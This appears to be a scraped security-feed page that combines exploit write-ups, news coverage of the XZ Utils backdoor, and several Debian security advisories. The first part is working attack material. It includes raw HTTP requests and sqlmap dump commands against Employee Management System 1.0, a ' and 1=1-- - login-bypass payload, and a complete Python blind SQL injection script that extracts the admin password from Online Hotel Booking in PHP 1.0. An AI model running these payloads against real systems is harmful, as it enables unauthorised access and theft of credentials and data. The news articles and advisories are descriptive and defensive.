Employee Management System version 1.0 suffers from additional remote SQL injection vulnerabilities. Original discovery of this finding is attributed to Ozlem Balci in January of 2024.

    # Exploit Title: Employee Management System 1.0 - `txtfullname` and `txtphone` SQL Injection# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24499### SQL Injection:> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.### Affected Components:> /employee_akpoly/Admin/edit_profile.php> Two parameters `txtfullname` and `txtphone` within admin edit profile mechanism are vulnerable to SQL Injection.![txtfullname](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_edit_txtfullname_sqli.png?raw=true)![txtphone](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_edit_txtphone_sqli.png?raw=true)### Description:> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.## Proof of Concept:### SQLMapSave the following request to `edit_profile.txt`:```POST /employee_akpoly/Admin/edit_profile.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 88Origin: http://localhostConnection: closeReferer: http://localhost/employee_akpoly/Admin/edit_profile.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1txtfullname=Caroline+Bassey&txtphone=0905656&old_image=uploadImage%2Fbird.jpg&btnupdate=```Use `sqlmap` with `-r` option to exploit the vulnerability:```sqlmap -r edit_profile.txt --level 5 --risk 3 --batch --dbms MYSQL --dump```## RecommendationsWhen using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.------------------------# Exploit Title: Employee Management System 1.0 - `txtusername` and `txtpassword` SQL Injection (Admin Login)# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24497### SQL Injection:> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.### Affected Components:> /employee_akpoly/Admin/login.php> Two parameters `txtusername` and `txtpassword` within admin login mechanism are vulnerable to SQL Injection.![txtusername](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_login_txtusername_sqli.png?raw=true)![txtpassword](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_login_txtpassword_sqli.png?raw=true)### Description:> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.## Proof of Concept:### Manual ExploitationThe payload `' and 1=1-- -` can be used to bypass authentication within admin login page.```POST /employee_akpoly/Admin/login.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 61Origin: http://localhostConnection: closeReferer: http://localhost/employee_akpoly/Admin/login.phpCookie: PHPSESSID=lcb84k6drd2tepn90ehe7p9n20Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1txtusername=admin' and 1=1-- -&txtpassword=password&btnlogin=```### SQLMapSave the following request to `admin_login.txt`:```POST /employee_akpoly/Admin/login.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 62Origin: http://localhostConnection: closeReferer: http://localhost/employee_akpoly/Admin/login.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1txtusername=admin&txtpassword=password&btnlogin=```Use `sqlmap` with `-r` option to exploit the vulnerability:```sqlmap -r admin_login.txt --level 5 --risk 3 --batch --dbms MYSQL --dump```## RecommendationsWhen using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.

Employee Management System 1.0 SQL Injection

Online Hotel Booking in PHP version 1.0 suffers from a remote blind SQL injection vulnerability.

    # Exploit Title:  Online Hotel Booking In PHP 1.0 - Blind SQL Injection (Unauthenticated)# Google Dork: n/a# Date: 04/02/2024# Exploit Author: Gian Paris C. Agsam# Vendor Homepage: https://github.com/projectworldsofficial# Software Link: https://projectworlds.in/wp-content/uploads/2019/06/hotel-booking.zip# Version: 1.0# Tested on: Apache/2.4.58 (Debian) / PHP 8.2.12# CVE : n/aimport requestsimport argparsefrom colorama import (Fore as F, Back as B, Style as S)BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB,FW = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT,F.WHITErequests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}parser = argparse.ArgumentParser(description='Exploit Blind SQL Injection')parser.add_argument('-u', '--url', help='')args = parser.parse_args()def banner():    print(f"""{FR}      ·▄▄▄·▄▄▄.▄▄ · ▄▄▄ . ▄▄· ·▄▄▄▄  ▄▄▄        ▪  ·▄▄▄▄  ▪     ▐▄▄·▐▄▄·▐█ ▀. ▀▄.▀·▐█ ▌▪██▪ ██ ▀▄ █·▪     ██ ██▪ ██  ▄█▀▄ ██▪ ██▪ ▄▀▀▀█▄▐▀▀▪▄██ ▄▄▐█· ▐█▌▐▀▀▄  ▄█▀▄ ▐█·▐█· ▐█▌▐█▌.▐▌██▌.██▌.▐█▄▪▐█▐█▄▄▌▐███▌██. ██ ▐█•█▌▐█▌.▐▌▐█▌██. ██  ▀█▄▀▪▀▀▀ ▀▀▀  ▀▀▀▀  ▀▀▀ ·▀▀▀ ▀▀▀▀▀• .▀  ▀ ▀█▄▀▪▀▀▀▀▀▀▀▀•         Github: https://github.com/offensive-droid         {FW}    """)# Define the characters to testchars = [    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',    'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D',    'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S',    'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7',    '8', '9', '@', '#']def sqliPayload(char, position, userid, column, table):    sqli = 'admin\' UNION SELECT IF(SUBSTRING('    sqli += str(column) + ','    sqli += str(position) + ',1) = \''    sqli += str(char) + '\',sleep(3),null) FROM '    sqli += str(table) + ' WHERE uname="admin"\''    return sqlidef postRequest(URL, sqliReq, char, position):    sqliURL = URL    params = {"emailusername": "admin", "password": sqliReq, "submit": "Login"}    req = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies, timeout=10)    if req.elapsed.total_seconds() >= 2:        print("{} : {}".format(char, req.elapsed.total_seconds()))        return char    return ''def theHarvester(target, CHARS, url):    #print("Retrieving: {} {} {}".format(target['table'], target['column'], target['id']))    print("Retrieving admin password".format(target['table'], target['column'], target['id']))    position = 1    full_pass = ""    while position < 5:        for char in CHARS:            sqliReq = sqliPayload(char, position, target['id'], target['column'], target['table'])            found_char = postRequest(url, sqliReq, char, position)            full_pass += found_char        position += 1    return full_passif __name__ == "__main__":    banner()    HOST = str(args.url)    PATH = HOST + "/hotel booking/admin/login.php"    adminPassword = {"id": "1", "table": "manager", "column": "upass"}    adminPass = theHarvester(adminPassword, chars, PATH)    print("Admin Password:", adminPass)

Online Hotel Booking In PHP 1.0 SQL Injection

Details are starting to emerge about a stunning supply chain attack that sent the open source software community reeling.

On Friday, a lone Microsoft developer rocked the world when he revealed a backdoor had been intentionally planted in XZ Utils, an open source data compression utility available on almost all installations of Linux and other Unix-like operating systems. The person or people behind this project likely spent years on it. They were likely very close to seeing the backdoor update merged into Debian and Red Hat, the two biggest distributions of Linux, when an eagle-eyed software developer spotted something fishy.

“This might be the best-executed supply chain attack we've seen described in the open, and it’s a nightmare scenario: malicious, competent, authorized upstream in a widely used library,” software and cryptography engineer Filippo Valsorda said of the effort, which came frightfully close to succeeding.

Researchers have spent the weekend gathering clues. Here’s what we know so far.

**What Is XZ Utils?**

XZ Utils is nearly ubiquitous in Linux. It provides lossless data compression on virtually all Unix-like operating systems, including Linux. XZ Utils provides critical functions for compressing and decompressing data during all kinds of operations. XZ Utils also supports the legacy .lzma format, making this component even more crucial.

**What Happened?**

Andres Freund, a developer and engineer working on Microsoft’s PostgreSQL offerings, was recently troubleshooting performance problems a Debian system was experiencing with SSH, the most widely used protocol for remotely logging in to devices over the Internet. Specifically, SSH logins were consuming too many CPU cycles and were generating errors with valgrind, a utility for monitoring computer memory.

Through sheer luck and Freund’s careful eye, he eventually discovered the problems were the result of updates that had been made to XZ Utils. On Friday, Freund took to the Open Source Security List to disclose the updates were the result of someone intentionally planting a backdoor in the compression software.

**What Does the Backdoor Do?**

Malicious code added to XZ Utils versions 5.6.0 and 5.6.1 modified the way the software functions when performing operations related to .lzma compression or decompression. When these functions involved SSH, they allowed for malicious code to be executed with root privileges. This code allowed someone in possession of a predetermined encryption key to log in to the backdoored system over SSH. From then on, that person would have the same level of control as any authorized administrator.

**How Did This Backdoor Come to Be?**

It would appear that this backdoor was years in the making. In 2021, someone with the username JiaT75 made their first known commit to an open source project. In retrospect, the change to the libarchive project is suspicious, because it replaced the safe\_fprint funcion with a variant that has long been recognized as less secure. No one noticed at the time.

The following year, JiaT75 submitted a patch over the XZ Utils mailing list, and, almost immediately, a never-before-seen participant named Jigar Kumar joined the discussion and argued that Lasse Collin, the longtime maintainer of XZ Utils, hadn’t been updating the software often or fast enough. Kumar, with the support of Dennis Ens and several other people who had never had a presence on the list, pressured Collin to bring on an additional developer to maintain the project.

In January 2023, JiaT75 made their first commit to XZ Utils. In the months following, JiaT75, who used the name Jia Tan, became increasingly involved in XZ Utils affairs. For instance, Tan replaced Collins’ contact information with their own on oss-fuzz, a project that scans open source software for vulnerabilities that can be exploited. Tan also requested that oss-fuzz disable the ifunc function during testing, a change that prevented it from detecting the malicious changes Tan would soon make to XZ Utils.

In February of this year, Tan issued commits for versions 5.6.0 and 5.6.1 of XZ Utils. The updates implemented the backdoor. In the following weeks, Tan or others appealed to developers of Ubuntu, Red Hat, and Debian to merge the updates into their OSes. Eventually, one of the two updates made its way into several releases, according to security firm Tenable. There’s more about Tan and the timeline here.

**Can You Say More About What This Backdoor Does?**

In a nutshell, it allows someone with the right private key to hijack sshd, the executable file responsible for making SSH connections, and from there to execute malicious commands. The backdoor is implemented through a five-stage loader that uses a series of simple but clever techniques to hide itself. It also provides the means for new payloads to be delivered without major changes being required.

Multiple people who have reverse-engineered the updates have much more to say about the backdoor. Developer Sam James provided an overview here.

The XZ Backdoor: Everything You Need to Know

By Waqas
Critical Backdoor Alert! Patch XZ Utils Now (CVE-2024-3094) & Secure Your Linux System. Learn how a hidden backdoor…
This is a post from HackRead.com Read the original post: Backdoor Discovered in XZ Utils: Patch Your Systems Now (CVE-2024-3094)

Critical Backdoor Alert! Patch XZ Utils Now (CVE-2024-3094) & Secure Your Linux System. Learn how a hidden backdoor puts Linux at risk and how to patch it immediately.

A critical security vulnerability, designated CVE-2024-3094, was recently discovered in the widely used XZ Utils package. This vulnerability threatens Linux systems with backdoor attacks.

For your information, XZ Utils is a collection of open-source command-line tools for data compression and decompression. It includes the popular xz command and the liblzma library, which is used by other software, most notably OpenSSH – the program that enables secure remote access to Linux systems.

****The Backdoor Explained****

The vulnerability involved a malicious backdoor hidden within the source code of XZ Utils, specifically in the liblzma library. This backdoor code, if triggered, could allow an attacker to gain unauthorized remote access to a vulnerable system through SSH. The attacker wouldn’t even need valid credentials, potentially granting complete control over the system.

****Impact and Discovery****

The potential impact of this vulnerability is severe. An attacker exploiting CVE-2024-3094 could steal sensitive data, install malware, disrupt critical operations, or even use the compromised system to launch further attacks.

Fortunately, the backdoor was discovered by the security community in late March 2024 before widespread distribution. This prevented a large-scale security breach. However, some Linux users remain vulnerable, especially those using unstable or rolling-release distributions.

****Who is Affected?****

According to OpenSSH’s report, the specific versions of XZ Utils containing the backdoor were 5.6.0 and 5.6.1. These versions were only recently released and did not make it into the stable branches of most major Linux distributions. However, users who manually compiled these versions from source code or installed them from non-standard repositories could be at risk.

Commenting on this, John Bambenek, President at Bambenek Consulting warned, _“_The original reports of this backdoor showed exploitation of this vulnerability via SSH which means it can be triggered even if the victim machine’s users don’t use XZ and its library. It seems this library tends to be installed by default on modern Linux distributions so organizations should immediately prioritize downgrading the package until a safe update is released, even if they don’t use the tools themselves._“_

****Mitigation and Prevention****

The most critical step to address this vulnerability is to update your system immediately. Most Linux distributions have released patch updates for XZ Utils. Here’s how to update depending on your distribution:

*   **Debian/Ubuntu:** Use sudo apt update and sudo apt upgrade commands.
*   **Red Hat/CentOS/Fedora:** Use sudo dnf update command.
*   **Other Distributions:** Refer to your distribution’s specific update instructions.

****Lessons Learned****

The discovery of CVE-2024-3094 emphasizes the importance of various security measures. Firstly, keeping software and systems updated with regular patches is crucial to mitigate potential risks.

Secondly, maintaining a sharp review process for open-source projects aids in the early detection of vulnerabilities. Thirdly, promoting security awareness among users and employees through education about risks and best practices is essential for enhancing overall protection. Adhering to these practices enables us to reduce the impact of vulnerabilities like CVE-2024-3094 and safeguard the security of our systems.

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Backdoor Discovered in XZ Utils: Patch Your Systems Now (CVE-2024-3094)

Had a Microsoft developer not spotted the malware when he did, the outcome could have been much worse.

Source: ozrimoz via Shutterstock

A newly discovered backdoor in XZ Utils, a data compression utility present in nearly all Linux distributions, has revived the ghosts of previous major software-supply chain security scares such as the Log4Shell vulnerability and the attack on SolarWinds.

The backdoor is embedded in an XZ library called liblzma and gives remote attackers a way to bypass secure shell (sshd) authentication and then gain complete access to an affected system. An individual with maintainer-level access to the code appears to have deliberately introduced the backdoor in a painstakingly executed, multiyear attack.

**A Shock to the OSS Community**

The backdoor affects XZ Utils 5.6.0 and 5.6.1, which are versions of the utility currently used only in unstable and beta releases of Fedora, Debian, Kali, open SUSE, and Arch Linux. As a result, the potential threat with this backdoor for now is considerably more limited than if the malware had found its way into a stable Linux distro.

Even so, the fact that someone managed to sneak a nearly undetectable backdoor into a trusted, widely used open source component — and the potential havoc it could have caused — has come as a painful wakeup call on how vulnerable organizations remain to attacks via the supply chain.

"This supply chain attack came as a shock to the OSS community, as XZ Utils was considered a trusted and scrutinized project," JFrog researchers said in a blog post. "The attacker built up a credible reputation as an OSS developer over the span of multiple years and used highly obfuscated code in order to evade detection by code reviews."

XZ Util is a command-line utility for compressing and decompressing data in Linux and other Unix-like operating systems. Microsoft developer Andres Freund discovered the backdoor in the software when investigating odd behavior in recent weeks around liblzma on some Debian installations. After initially thinking the backdoor was purely a Debian problem, Freund discovered the issue actually impacted the upstream XZ repository and associated tarballs or archive files. He publicly disclosed the threat on March 29.

Over the weekend, security teams associated with Fedora, Debian, openSUSE, Kali, and Arch issued urgent advisories alerting organizations running the affected Linux releases to immediately revert to earlier, more stable releases of their software to mitigate the potential risk of remote-code execution.

**Maximum Severity Vuln**

Red Hat, the primary sponsor and contributor to Fedora, assigned the backdoor a vulnerability identifier (CVE-2024-3094) and assessed it as a maximum severity risk (CVSS score of 10) to draw attention to the threat. The US Cybersecurity and Infrastructure Security Agency (CISA) joined the chorus of voices urging organizations using affected Linux distributions to downgrade their XZ Utils to an earlier version, and to hunt for any potential activity related to the backdoor and report any such findings to the agency.

All of the advisories offered tips for users on how to quickly check for the presence of the back-doored XZ versions in their code. Red Hat released an update that reverts XZ to previous versions, which the company will make available via its normal update process. But users concerned about potential attacks can force the update if they don't want to wait for the update to become available via the normal process, the company said.

Today Binarly released a free tool that organizations can use to look for backdoored XZs as well.

"Had this malicious code been introduced to stable OS releases in multiple Linux distributions, we could have seen in-the-wild exploitation en-masse," says Scott Caveza, staff research engineer at Tenable. "The longer this went unnoticed, the greater the potential for more malicious code from whomever this malicious actor might be."

In an FAQ, Tenable described the backdoor as modifying functions within liblzma in such a way as to allow attackers to intercept and modify data within the library. "In the example observed by Freund, under certain conditions, this backdoor could allow a malicious actor to 'break sshd authentication,' allowing the attacker to gain access to an affected system," noted the researchers.

**XZ Utils "Maintainer" Behind the Backdoor**

What makes the backdoor especially troublesome is the fact that someone using an account belonging to a maintainer of XZ Util embedded the malware in the package in what appears to have been a carefully planned multiyear operation. In a widely referenced blog post, security researcher Evan Boehs traced the malicious activity back to 2021 when an individual using the name Jia Tan created a GitHub account and almost immediately started making suspicious changes to some open source projects.

The blog post provides a detailed timeline of the steps Jia Tan and a couple of other individuals took to gradually build enough trust within the XZ community to make changes to the software and eventually introduce the backdoor.

"All the evidence points to social manipulation being used by a person with the sole end goal of inserting a backdoor," Boehs tells Dark Reading. "Basically, there was never a genuine effort to maintain the project, only to gain enough trust to insert \[the backdoor\] quietly."

Typically, gaining commit access to a repository requires an individual to establish a sense of trustworthiness. Often, projects give new commit access to individuals only when there is a need for it and after some risk assessment, Boehs says.

"In this case, Jia created a \[seemingly\] legitimate need for more maintainers ... and then began building trust. Our society is built on trust, and occasionally some crafty people exploit it," he notes. "Gaining permission requires trust. Trust takes time to establish. Jia was in it for the long game."

Boehs says it's unclear when exactly Jia Tan became a trusted member of the repository. But soon after his first commit in 2022, Jia Tan became a regular contributor and is currently the second-most active on the project. GitHub has since suspended Jia Tan's account.

Saumitra Das, vice president of engineering at Qualys, says what happened with XZ Util can happen elsewhere.

"Many critical libraries in open source are being maintained by volunteers in the community who are not paid for it and can be under pressure due to their personal issues," Das says.

Maintainers who are under pressure often welcome contributors who are willing to spend even a little bit of time on their projects. "Over, time, such folks can gain more control over the code," as was the case with XZ Utils, he says.

**About the Author(s)**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

XZ Utils Backdoor Implanted in Carefully Executed, Multiyear Supply Chain Attack

Debian Linux Security Advisory 5651-1 - Two security issues were discovered in MediaWiki, a website engine for collaborative work, which could result in cross-site scripting or denial of service.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5651-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffMarch 31, 2024                        https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : mediawikiCVE ID         : not yet availableTwo security issues were discovered in MediaWiki, a website engine forcollaborative work, which could result in cross-site scripting or denialof service.For the oldstable distribution (bullseye), this problem has been fixedin version 1:1.35.13-1+deb11u2.For the stable distribution (bookworm), this problem has been fixed inversion 1:1.39.7-1~deb12u1.We recommend that you upgrade your mediawiki packages.For the detailed security status of mediawiki please refer toits security tracker page at:https://security-tracker.debian.org/tracker/mediawikiFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmYJtD4ACgkQEMKTtsN8TjZxJA//c0hvMWL9Z5zN5rxn3K+Zc6SL9EjbOsWuOcpGWInkdNGKFL1ohLsoWKo5tZRA/KuGv9LNMJU/StYbb10s7yuSsHWnJ3/DXXs7LV9voOam4SCyOQoSQ1/VOL2IpdzycN9algbPXxMUYTu9NA1ogSFrjLvdFDpcEmzl2bnhlVLV554a1DeLY7S9PFyH7Z89KbcDq/SJg1qXArvUNyCPnfdEAdfJgzuOoFECGDOwloFEy89zShZK03FiylJ+o0kGzDOk0Knk9cE1vkdLlDVpBg9YaQpA9S4Pv6dCEQm3TYvFPqX6sbeO0l7cX8TLKntrON2ElMrATzV2o269RuB7CLoIX4KIIG61pEkWDM/ZAvzvPox8XbZqgnNVZiBZc02SXuvJ0W0HsBhh5mHHSGznWXvh6DxD/pVWR4+TWzs4Il/vdfCStMu8Oaw1BjnqsJkIgHK3SSGIuxfMYGsiJZ4eK40fJ6+v7b7m2mtaHgpSEgCZyn0dtr70OwkH0slr7BTpwnWQ/1svGB2aPQ82Wip+dJuap/xRI60tnbT8ipM17Vq8ECeL65ef4R+Atf6L4cC7TQCMXI66XU/ZYSUpiOs2qYDI9aqzT90EgyQkRnJbbIh4xDd3mqSFIxXVR4d/J5poHPiVo9Gr8LVldyfDNa2OCdxhJ74DyY+qkgaH43Yb0CmFEak==YhNf-----END PGP SIGNATURE-----

Debian Security Advisory 5651-1

A use-after-free vulnerability exists in the Linux kernel netfilter: nf_tables component. This is a universal local privilege escalation proof of concept exploit working on Linux kernels between 5.14 and 6.6, including Debian, Ubuntu, and KernelCTF.

Linux nf_tables Local Privilege Escalation

Debian Linux Security Advisory 5650-1 - Skyler Ferrante discovered that the wall tool from util-linux does not properly handle escape sequences from command line arguments. A local attacker can take advantage of this flaw for information disclosure.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5650-1                   security@debian.org  
https://www.debian.org/security/                     Salvatore Bonaccorso  
March 31, 2024                        https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : util-linux  
CVE ID         : CVE-2024-28085  
Debian Bug     : 1067849

Skyler Ferrante discovered that the wall tool from util-linux does not  
properly handle escape sequences from command line arguments. A local  
attacker can take advantage of this flaw for information disclosure.

With this update wall and write are not anymore installed with setgid  
tty.

For the oldstable distribution (bullseye), this problem has been fixed  
in version 2.36.1-8+deb11u2.

For the stable distribution (bookworm), this problem has been fixed in  
version 2.38.1-5+deb12u1.

We recommend that you upgrade your util-linux packages.

For the detailed security status of util-linux please refer to its  
security tracker page at:  
https://security-tracker.debian.org/tracker/util-linux

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
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Debian Security Advisory 5650-1

Debian Linux Security Advisory 5649-1 - Andres Freund discovered that the upstream source tarballs for xz-utils, the XZ-format compression utilities, are compromised and inject malicious code, at build time, into the resulting liblzma5 library.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5649-1                   security@debian.orghttps://www.debian.org/security/                     Salvatore BonaccorsoMarch 29, 2024                        https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : xz-utilsCVE ID         : CVE-2024-3094Andres Freund discovered that the upstream source tarballs for xz-utils,the XZ-format compression utilities, are compromised and injectmalicious code, at build time, into the resulting liblzma5 library.Right now no Debian stable versions are known to be affected.Compromised packages were part of the Debian testing, unstable andexperimental distributions, with versions ranging from 5.5.1alpha-0.1(uploaded on 2024-02-01), up to and including 5.6.1-1. The package hasbeen reverted to use the upstream 5.4.5 code, which we have versioned5.6.1+really5.4.5-1.Users running Debian testing and unstable are urged to update thexz-utils packages.For the detailed security status of xz-utils please refer toits security tracker page at:https://security-tracker.debian.org/tracker/xz-utilsFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmYG4XBfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xNDz0QBZg/9HMXAGIvBC12v8PSnp6EjnagxXBjTqLIJzEwQFgmC1cS58Kmv214c3fD+rxHEfqQxcgjVSWPbIgI5ZXf1XZtx1YiMGRd9aEvKQSwLu0ox0/UR5igZakLrZb+nt1qvH8AGYQhK41ysFJVwNulUXqqopvGEPgwopLfGPn8P3zjOrs0BoLqYmQ0nbsv392l9rAYk6W7G+L3Gwp/cQVzqmyErlEk/QB3Ld+6HLP7a8shY+A8a7iVHE1vkzNjwJeZ2shIrvkCJqb1/BVSJU92fy2P4xjiMY8phDum7dzWnyy0WZLa90B/tDF9WB7OknuUa020yxjflnabSM112We1V8D5sh18X30NK8scXiCD5cbPEysGqaUf8Baik9quxWkn60oqLKFN0VdrUxeqyLp1AC7wEiysQaNqv/8ZqhYF3/KxrbzgBOVy9XeB3pEfkoLLPtUeH3kuXGw2Qp+Kqg3Zlfe04XZZX5kme/7PFkBvjZ8JFH7dWW+eEO9MbnsPDbr0tWxod0jhvLdZ6YLFad6q2jkjqO3LH3+SYAhp+otcY1TNpIe7xWAB+Phj0TJquIoSnYutqEb4mwoUzn9vZRzOxLvyePEJwbFG89sQf4GCYm4FwDhyB51Eo5piC7FreEtfsmdU7xAl6tljtUkzTHz27dBIokrgw4W0YrYaeUSmm3jKttPA==522l-----END PGP SIGNATURE-----

Debian Security Advisory 5649-1

Debian Linux Security Advisory 5648-1 - Security issues were discovered in Chromium, which could result in the execution of arbitrary code, denial of service or information disclosure.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256- -------------------------------------------------------------------------Debian Security Advisory DSA-5648-1                   security@debian.orghttps://www.debian.org/security/                           Andres SalomonMarch 28, 2024                        https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : chromiumCVE ID         : CVE-2024-2625 CVE-2024-2626 CVE-2024-2627 CVE-2024-2628                  CVE-2024-2629 CVE-2024-2630 CVE-2024-2631 CVE-2024-2883                  CVE-2024-2885 CVE-2024-2886 CVE-2024-2887Security issues were discovered in Chromium, which could resultin the execution of arbitrary code, denial of service or informationdisclosure.For the stable distribution (bookworm), these problems have been fixed inversion 123.0.6312.86-1~deb12u1.We recommend that you upgrade your chromium packages.For the detailed security status of chromium please refer toits security tracker page at:https://security-tracker.debian.org/tracker/chromiumFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEUAUk+X1YiTIjs19qZF0CR8NudjcFAmYGFvAACgkQZF0CR8Nudjc4yw//QS0lNQXR6HDrTB4GhrM3/7RhL4bT1jqK6HYorygFd8n26FiOA5H7YJCaegO0rQuQLHl85HnT4pJel65VJvqhITkgPOw5v0B85URBKgcdJvL+WPElZlWXizXmvHRbOjVEjCt0Nxp2InG00diJSEWAVpaenUSmoedEi51OTYO7JZLQjrjBWkztwNVMPZEEQNnIim8aqOwfYS+lPL8gzE2abXcoulX1CJMHnCmxfRCpIhP3VwhFKdSB9ciiqAJ74Craq6oQ51Mm7gtIf9ofmFa7ACAoQq5KmiIqhuGpspiVYfekuIq1/rVfTXXlNBXmbZ7OVXUZZgm1YjY6mxNk+ZVRWWAMvy6OgSzypBjy5CobO/QC1FzlF2otZmB6pdrbl0IjOij5rQOz9qK1Q1+P7Lin/TMJXQ4ZxNAFo2zkhsH1gq1sjijgqfMgFaVqouYUpIpl1RNzQYn6/m0rmwOQqnsnZFabCxJmFOqd9ocO9p0FpQvcpZY8qolAoAesDIvAc79l+EAeMw1oYombWUsv01yacpfiCUd72+fl/n5YFcKPFSjvysZ8bOmCAhzEVg2SOlkps3H3vmESD0Fk08tnaqhPj7G81m0iauolEIxdd4XDeMPuKNgVqpSdOOpTNjan+p3pUZZqjWGMaJaqtI5EEbeTT0THoN43oWPujsv/NUPlXRs==0ca3-----END PGP SIGNATURE-----

Tag

#debian